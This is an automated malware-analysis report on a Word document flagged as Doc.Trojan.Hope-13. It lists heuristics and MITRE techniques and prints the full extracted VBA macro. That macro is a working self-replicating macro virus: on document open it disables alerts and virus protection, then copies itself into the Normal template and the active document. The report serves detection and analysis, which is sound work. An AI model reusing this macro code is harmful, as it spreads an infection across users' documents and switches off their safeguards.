MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The script attempts to disable application alerts and confirm conversions, and then overwrites the NormalTemplate's macro code with its own. It also attempts to save the active document with its own macro code, likely to ensure persistence. The ClamAV detection 'Doc.Trojan.Hope-13' further supports its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Hope-13 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Hope-13
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1314 bytes |
SHA-256: 9c76c53f02e104a62f58aa7a4092bb5802035fc74e04f3f6bcd7ad974e5c05f7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Options.ConfirmConversions = 0 Options.SaveNormalPrompt = 0 Options.VirusProtection = 0 MV = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines) SetAttr NormalTemplate.FullName, vbNormal NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString MV NormalTemplate.Saved = True If ActiveDocument.ReadOnly = True Then SetAttr ActiveDocument.FullName, vbNormal ActiveDocument.Reload End If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString MV ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End Sub 'AntiReadOnly By Lys Kovick |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.